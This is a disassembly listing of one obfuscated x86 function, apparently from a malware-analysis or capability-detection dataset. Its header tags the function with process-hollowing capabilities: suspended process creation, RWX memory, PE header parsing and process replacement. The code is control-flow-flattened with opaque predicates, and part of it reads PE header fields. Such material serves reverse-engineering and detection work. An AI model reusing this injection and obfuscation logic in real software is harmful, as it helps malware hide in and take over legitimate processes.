Function at 0x10008b00
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Hide graphical window
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x150
mov eax, dword [0x10074800]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x158], 0x9e2b8674
mov eax, dword [ebp - 0x158]
mov dword [ebp - 0x15c], eax
sub eax, 0x804067c8
je 0x10011e95
jmp 0x10008b3c
mov eax, dword [ebp - 0x15c]
sub eax, 0x805e186a
je 0x10011cbb
jmp 0x10008b52
mov eax, dword [ebp - 0x15c]
sub eax, 0x80a881f0
je 0x1001446d
jmp 0x10008b68
mov eax, dword [ebp - 0x15c]
sub eax, 0x81048f55
je 0x1001071e
jmp 0x10008b7e
mov eax, dword [ebp - 0x15c]
sub eax, 0x8108017c
je 0x100107eb
jmp 0x10008b94
mov eax, dword [ebp - 0x15c]
sub eax, 0x810a7f62
je 0x1000fd5c
jmp 0x10008baa
mov eax, dword [ebp - 0x15c]
sub eax, 0x811b3c84
je 0x100110ff
jmp 0x10008bc0
mov eax, dword [ebp - 0x15c]
sub eax, 0x811cf24b
je 0x100110f0
jmp 0x10008bd6
mov eax, dword [ebp - 0x15c]
sub eax, 0x81591839
je 0x10016de6
jmp 0x10008bec
mov eax, dword [ebp - 0x15c]
sub eax, 0x816c3234
je 0x10016ecd
jmp 0x10008c02
mov eax, dword [ebp - 0x15c]
sub eax, 0x81b7fc2e
je 0x1000ced0
jmp 0x10008c18
mov eax, dword [ebp - 0x15c]
sub eax, 0x81c7beee
je 0x1001068f
jmp 0x10008c2e
mov eax, dword [ebp - 0x15c]
sub eax, 0x81f7515f
je 0x10016da7
jmp 0x10008c44
mov eax, dword [ebp - 0x15c]
sub eax, 0x825d93d8
je 0x10015dfd
jmp 0x10008c5a
mov eax, dword [ebp - 0x15c]
sub eax, 0x82b45268
je 0x1000d0c3
jmp 0x10008c70
mov eax, dword [ebp - 0x15c]
sub eax, 0x844422bf
je 0x1001587d
jmp 0x10008c86
mov eax, dword [ebp - 0x15c]
sub eax, 0x84b3c793
je 0x1001574a
jmp 0x10008c9c
mov eax, dword [ebp - 0x15c]
sub eax, 0x8584377e
je 0x1000ef59
jmp 0x10008cb2
mov eax, dword [ebp - 0x15c]
sub eax, 0x85bf8f31
je 0x10011a86
jmp 0x10008cc8
mov eax, dword [ebp - 0x15c]
sub eax, 0x85c1280c
je 0x10014a94
jmp 0x10008cde
mov eax, dword [ebp - 0x15c]
sub eax, 0x8687409c
je 0x100169c3
jmp 0x10008cf4
mov eax, dword [ebp - 0x15c]
sub eax, 0x86f3cdb5
je 0x1000fe00
jmp 0x10008d0a
mov eax, dword [ebp - 0x15c]
sub eax, 0x87598280
je 0x10016714
jmp 0x10008d20
mov eax, dword [ebp - 0x15c]
sub eax, 0x87dadbcd
je 0x1001683e
jmp 0x10008d36
mov eax, dword [ebp - 0x15c]
sub eax, 0x883543a5
je 0x100104cf
jmp 0x10008d4c
mov eax, dword [ebp - 0x15c]
sub eax, 0x8871e314
je 0x1000f4f6
jmp 0x10008d62
mov eax, dword [ebp - 0x15c]
sub eax, 0x89190f52
je 0x1000fbba
jmp 0x10008d78
mov eax, dword [ebp - 0x15c]
sub eax, 0x89269d31
je 0x1000f9fe
jmp 0x10008d8e
mov eax, dword [ebp - 0x15c]
sub eax, 0x8a74323a
je 0x10013df8
jmp 0x10008da4
mov eax, dword [ebp - 0x15c]
sub eax, 0x8ad9cb1f
je 0x1000ce62
jmp 0x10008dba
mov eax, dword [ebp - 0x15c]
sub eax, 0x8afbcba5
je 0x1001167b
jmp 0x10008dd0
mov eax, dword [ebp - 0x15c]
sub eax, 0x8b0c5fd4
je 0x1001689d
jmp 0x10008de6
mov eax, dword [ebp - 0x15c]
sub eax, 0x8b69a730
je 0x10016cc3
jmp 0x10008dfc
mov eax, dword [ebp - 0x15c]
sub eax, 0x8c41cda3
je 0x100136a1
jmp 0x10008e12
mov eax, dword [ebp - 0x15c]
sub eax, 0x8c5676a3
je 0x10016fc0
jmp 0x10008e28
mov eax, dword [ebp - 0x15c]
sub eax, 0x8c786154
je 0x1000ffb9
jmp 0x10008e3e
mov eax, dword [ebp - 0x15c]
sub eax, 0x8c7e8fe5
je 0x1001241b
jmp 0x10008e54
mov eax, dword [ebp - 0x15c]
sub eax, 0x8d3113e7
je 0x100169b4
jmp 0x10008e6a
mov eax, dword [ebp - 0x15c]
sub eax, 0x8d4a319d
je 0x10014f81
jmp 0x10008e80
mov eax, dword [ebp - 0x15c]
sub eax, 0x8ddcfe72
je 0x1000f376
jmp 0x10008e96
mov eax, dword [ebp - 0x15c]
sub eax, 0x8e1dad8b
je 0x1000e9ca
jmp 0x10008eac
mov eax, dword [ebp - 0x15c]
sub eax, 0x8e25c65d
je 0x10014de2
jmp 0x10008ec2
mov eax, dword [ebp - 0x15c]
sub eax, 0x8e31825a
je 0x10015ad0
jmp 0x10008ed8
mov eax, dword [ebp - 0x15c]
sub eax, 0x8e51a633
je 0x100168be
jmp 0x10008eee
mov eax, dword [ebp - 0x15c]
sub eax, 0x8e5f37bb
je 0x1000f1c8
jmp 0x10008f04
mov eax, dword [ebp - 0x15c]
sub eax, 0x8e7c67c0
je 0x10010285
jmp 0x10008f1a
mov eax, dword [ebp - 0x15c]
sub eax, 0x8ebb21d6
je 0x1001213d
jmp 0x10008f30
mov eax, dword [ebp - 0x15c]
sub eax, 0x8ef4a6d4
je 0x100162bf
jmp 0x10008f46
mov eax, dword [ebp - 0x15c]
sub eax, 0x8f80b789
je 0x1000f346
jmp 0x10008f5c
mov eax, dword [ebp - 0x15c]
sub eax, 0x8fb4ca98
je 0x10017011
jmp 0x10008f72
mov eax, dword [ebp - 0x15c]
sub eax, 0x8ffb6505
je 0x100158ce
jmp 0x10008f88
mov eax, dword [ebp - 0x15c]
sub eax, 0x8ffe5e03
je 0x10016bf4
jmp 0x10008f9e
mov eax, dword [ebp - 0x15c]
sub eax, 0x9069cf71
je 0x1000da32
jmp 0x10008fb4
mov eax, dword [ebp - 0x15c]
sub eax, 0x9089308b
je 0x10016a23
jmp 0x10008fca
mov eax, dword [ebp - 0x15c]
sub eax, 0x909a3509
je 0x10010027
jmp 0x10008fe0
mov eax, dword [ebp - 0x15c]
sub eax, 0x90c9d2d3
je 0x10012562
jmp 0x10008ff6
mov eax, dword [ebp - 0x15c]
sub eax, 0x90dbdecc
je 0x10011e10
jmp 0x1000900c
mov eax, dword [ebp - 0x15c]
sub eax, 0x90e2902f
je 0x10012312
jmp 0x10009022
mov eax, dword [ebp - 0x15c]
sub eax, 0x91006fcf
je 0x10010aa5
jmp 0x10009038
mov eax, dword [ebp - 0x15c]
sub eax, 0x9128a3a7
je 0x1000e4dd
jmp 0x1000904e
mov eax, dword [ebp - 0x15c]
sub eax, 0x912ec54b
je 0x1000df49
jmp 0x10009064
mov eax, dword [ebp - 0x15c]
sub eax, 0x9164ace2
je 0x10010b1b
jmp 0x1000907a
mov eax, dword [ebp - 0x15c]
sub eax, 0x91cb9d16
je 0x10013c8c
jmp 0x10009090
mov eax, dword [ebp - 0x15c]
sub eax, 0x9266f89e
je 0x1000f965
jmp 0x100090a6
mov eax, dword [ebp - 0x15c]
sub eax, 0x9267b58b
je 0x10014ee7
mov ecx, dword [0x10075b28]
mov eax, dword [0x10075b24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x3b313b81
mov ecx, 0x81b7fc2e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x10017638
movss xmm0, dword [0x100244e8]
movss dword [ebp - 0x154], xmm0
mov eax, dword [0x10075b28]
mov ecx, dword [0x10075b24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x3b313b81
mov ecx, 0xe54f5760
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x10017638
movss xmm0, dword [0x100244e4]
movss dword [ebp - 0x154], xmm0
mov ecx, dword [0x10075b28]
mov eax, dword [0x10075b24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xc7169449
mov ecx, 0xc22a2fb2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x10017638
mov eax, dword [ebp - 0x150]
movss xmm0, dword [0x100247b0]
movss dword [eax], xmm0
mov dword [ebp - 0x158], 0x686bbfe3
jmp 0x10017638
mov dword [ebp - 0x158], 0xba140957
jmp 0x10017638
mov dl, 1
mov eax, 0x32d0f9d2
mov ecx, 0x6ef0d987
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x10017638
mov eax, dword [ebp - 0x14c]
movss xmm0, dword [0x10024494]
movss dword [eax], xmm0
mov eax, dword [0x10075b28]
mov ecx, dword [0x10075b24]
mov edx, eax
add edx, 0x17890e84
sub edx, 1
sub edx, 0x17890e84
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x7bb4e8b4
mov ecx, 0x702e4eeb
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x10017638
mov eax, dword [ebp - 0x148]
movss xmm0, dword [0x10024484]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x148]
movss xmm0, dword [0x10024480]
movss dword [eax], xmm0
mov eax, dword [0x10075b28]
mov ecx, dword [0x10075b24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x9b3d8e19
mov ecx, 0xe04a99d6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x10017638
mov ecx, dword [0x10075b28]
mov eax, dword [0x10075b24]
mov edx, ecx
add edx, 0xf4dc47da
sub edx, 1
sub edx, 0xf4dc47da
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x62c47091
mov ecx, 0xc700aab9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x10017638
mov dword [ebp - 0x158], 0x971d9c0
jmp 0x10017638
mov dl, 1
mov eax, 0xc8834293
mov ecx, 0x45413e46
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x10017638
mov dword [ebp - 0x158], 0x3bf467c
jmp 0x10017638
mov dl, 1
mov eax, 0x39e242ba
mov ecx, 0x5bd3bd8b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x10017638
mov eax, dword [0x10075b28]
mov ecx, dword [0x10075b24]
mov edx, eax
sub edx, 0xfad3f9c9
sub edx, 1
add edx, 0xfad3f9c9
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x2a51218e
mov ecx, 0x6a7e2c81
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x10017638
mov eax, dword [ebp - 0x140]
movss xmm0, dword [0x100246fc]
movss dword [eax], xmm0
mov dword [ebp - 0x158], 0x5cfe7f53
jmp 0x10017638
mov eax, dword [ebp - 0x13c]
movss xmm0, dword [0x100246e4]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x13c]
movss xmm0, dword [0x100246e0]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x13c]
movss xmm0, dword [0x100246dc]
movss dword [eax], xmm0
mov dword [ebp - 0x158], 0x20f515f4
jmp 0x10017638
mov eax, dword [ebp - 0x13c]
movss xmm0, dword [0x100246d0]
movss dword [eax], xmm0
mov dword [ebp - 0x158], 0x18c8c52a
jmp 0x10017638
mov eax, dword [0x10075b28]
mov ecx, dword [0x10075b24]
mov edx, eax
add edx, 0xad5fd3fd
sub edx, 1
sub edx, 0xad5fd3fd
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x7e855b4d
mov ecx, 0xc5362026
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x10017638
mov eax, dword [ebp - 0x13c]
movss xmm0, dword [0x100246c4]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x13c]
movss xmm0, dword [0x100246c0]
movss dword [eax], xmm0
mov dword [ebp - 0x158], 0x63b28cb7
jmp 0x10017638
mov eax, dword [ebp - 0x13c]
movss xmm0, dword [0x10024454]
movss dword [eax], xmm0
mov ecx, dword [0x10075b28]
mov eax, dword [0x10075b24]
mov edx, ecx
add edx, 0xfd816040
sub edx, 1
sub edx, 0xfd816040
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x8b69a730
mov ecx, 0x60ef5e05
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x10017638
mov dl, 1
mov eax, 0x81c7beee
mov ecx, 0xc0a5d849
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x10017638
mov eax, dword [ebp - 0x138]
movss xmm0, dword [0x100246a8]
movss dword [eax], xmm0
mov dword [ebp - 0x158], 0x744a2f64
jmp 0x10017638
mov ecx, dword [0x10075b28]
mov eax, dword [0x10075b24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x3a84bf6
mov ecx, 0xadefedd7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x10017638
mov eax, dword [ebp - 0x138]
movss xmm0, dword [0x1002469c]
movss dword [eax], xmm0
mov dword [ebp - 0x158], 0x9861b22c
jmp 0x10017638
mov ecx, dword [0x10075b28]
mov eax, dword [0x10075b24]
mov edx, ecx
sub edx, 0x8370fe3f
sub edx, 1
add edx, 0x8370fe3f
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x81f7515f
mov ecx, 0x9164ace2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x10017638
mov dl, 1
mov eax, 0xf32abe4c
mov ecx, 0xff50c558
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x10017638
mov dword [ebp - 0x158], 0x811b3c84
jmp 0x10017638
mov eax, dword [ebp - 0x134]
movss xmm0, dword [0x10024668]
movss dword [eax], xmm0
mov dword [ebp - 0x158], 0x21352099
jmp 0x10017638
mov dword [ebp - 0x158], 0xc87f781e
jmp 0x10017638
mov eax, dword [ebp - 0x12c]
movss xmm0, dword [0x10024600]
movss dword [eax], xmm0
mov dword [ebp - 0x158], 0xa5e5282c
jmp 0x10017638
mov eax, dword [ebp - 0x12c]
movss xmm0, dword [0x10024414]
movss dword [eax], xmm0
mov ecx, dword [0x10075b28]
mov eax, dword [0x10075b24]
mov edx, ecx
sub edx, 0xd4ce50d3
sub edx, 1
add edx, 0xd4ce50d3
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xb82adf
mov ecx, 0xcef10e77
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x10017638
mov ecx, dword [0x10075b28]
mov eax, dword [0x10075b24]
mov edx, ecx
add edx, 0xf1668372
sub edx, 1
sub edx, 0xf1668372
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xf0a9b792
mov ecx, 0xa7b02f91
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x10017638
mov eax, dword [0x10075b28]
mov ecx, dword [0x10075b24]
mov edx, eax
add edx, 0xfb9a87e0
sub edx, 1
sub edx, 0xfb9a87e0
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x7cfaf899
mov ecx, 0x15047a8a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x10017638
mov eax, dword [ebp - 0x128]
movss xmm0, dword [0x100245e0]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x128]
movss xmm0, dword [0x100245dc]
movss dword [eax], xmm0
mov dword [ebp - 0x158], 0xda857809
jmp 0x10017638
mov eax, dword [ebp - 0x128]
movss xmm0, dword [0x10024404]
movss dword [eax], xmm0
mov eax, dword [0x10075b28]
mov ecx, dword [0x10075b24]
mov edx, eax
add edx, 0x3054d3e2
sub edx, 1
sub edx, 0x3054d3e2
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x8c5676a3
mov ecx, 0x4a45ac37
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x10017638
mov ecx, dword [0x10075b28]
mov eax, dword [0x10075b24]
mov edx, ecx
add edx, 0xc4897544
sub edx, 1
sub edx, 0xc4897544
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xdf466ed6
mov ecx, 0xa9437e94
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x10017638
mov dword [ebp - 0x158], 0x4fc189b9
jmp 0x10017638
mov ecx, dword [0x10075b28]
mov eax, dword [0x10075b24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x1dabe5e4
mov ecx, 0x11c2473c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x10017638
mov dl, 1
mov eax, 0x7255517d
mov ecx, 0xe5cb69ec
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x10017638
mov dl, 1
mov eax, 0x7ca84121
mov ecx, 0xd4945640
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x10017638
mov eax, dword [ebp - 0x118]
movss xmm0, dword [0x100243bc]
movss dword [eax], xmm0
mov eax, dword [0x10075b28]
mov ecx, dword [0x10075b24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xf811a933
mov ecx, 0x1d0a1ddb
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x10017638
mov dword [ebp - 0x158], 0x57e4fb8e
jmp 0x10017638
mov dl, byte [ebp - 0xa1]
mov eax, 0xa0dff348
mov ecx, 0x214cd0ca
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x10017638
mov dword [ebp - 0x158], 0x214cd0ca
jmp 0x10017638
mov ecx, dword [0x10075b28]
mov eax, dword [0x10075b24]
mov edx, ecx
sub edx, 0x375de696
sub edx, 1
add edx, 0x375de696
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xa9b8ba66
mov ecx, 0x51bfb11e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x10017638
mov eax, dword [0x10075b28]
mov ecx, dword [0x10075b24]
mov edx, eax
add edx, 0x61e36121
sub edx, 1
sub edx, 0x61e36121
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x95dcdf4d
mov ecx, 0x8ffb6505
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x10017638
mov eax, dword [ebp - 0x114]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xe8]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0xd8]
imul edx, dword [edx], 0x28
add ecx, edx
add eax, dword [ecx + 0x14]
mov dword [ebp - 0x54], eax
mov eax, dword [ebp - 0xdc]
mov eax, dword [eax]
mov dword [ebp - 0x50], eax
mov eax, dword [0x10075b28]
mov ecx, dword [0x10075b24]
mov edx, eax
sub edx, 0xf27c9896
sub edx, 1
add edx, 0xf27c9896
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x95dcdf4d
mov ecx, 0xd18375a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x10017638
mov ecx, dword [0x10075b28]
mov eax, dword [0x10075b24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x352fb882
mov ecx, 0xff59da74
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x10017638
mov eax, dword [ebp - 0xf0]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x108]
mov ecx, dword [ecx]
cmp eax, dword [ecx + 0x34]
setne al
and al, 1
mov byte [ebp - 0x41], al
mov dword [ebp - 0x158], 0xce1afef7
jmp 0x10017638
mov dword [ebp - 0x158], 0xdda64b4e
jmp 0x10017638
mov ecx, dword [0x10075b28]
mov eax, dword [0x10075b24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x6172d65f
mov ecx, 0xaca00ad8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x10017638
movss xmm0, dword [0x100244d4]
movss dword [ebp - 0x154], xmm0
mov dword [ebp - 0x158], 0x94f42e52
jmp 0x10017638
mov eax, dword [ebp - 0x150]
movss xmm0, dword [0x100244c8]
movss dword [eax], xmm0
mov dword [ebp - 0x158], 0x5ed73aaa
jmp 0x10017638
mov eax, dword [ebp - 0x150]
movss xmm0, dword [0x100244c4]
movss dword [eax], xmm0
mov dword [ebp - 0x158], 0xa04188e8
jmp 0x10017638
mov dword [ebp - 0x158], 0x424cd192
jmp 0x10017638
mov dword [ebp - 0x158], 0xd24274fb
jmp 0x10017638
mov eax, dword [ebp - 0x14c]
movss xmm0, dword [0x100244a0]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x14c]
movss xmm0, dword [0x1002449c]
movss dword [eax], xmm0
mov dword [ebp - 0x158], 0x3c1982f3
jmp 0x10017638
mov dword [ebp - 0x158], 0x53891251
jmp 0x10017638
mov eax, dword [ebp - 0x13c]
movss xmm0, dword [0x10024454]
movss dword [eax], xmm0
mov dword [ebp - 0x158], 0x8e7c67c0
jmp 0x10017638
mov dword [ebp - 0x158], 0x91006fcf
jmp 0x10017638
mov dword [ebp - 0x158], 0xb0b85b28
jmp 0x10017638
mov eax, dword [ebp - 0x130]
movss xmm0, dword [0x1002441c]
movss dword [eax], xmm0
mov dword [ebp - 0x158], 0xda968f3d
jmp 0x10017638
mov eax, dword [ebp - 0x128]
movss xmm0, dword [0x10024404]
movss dword [eax], xmm0
mov dword [ebp - 0x158], 0x90e2902f
jmp 0x10017638
mov eax, dword [ebp - 0x128]
movss xmm0, dword [0x100243fc]
movss dword [eax], xmm0
mov dword [ebp - 0x158], 0x960728c8
jmp 0x10017638
jmp 0x10008b20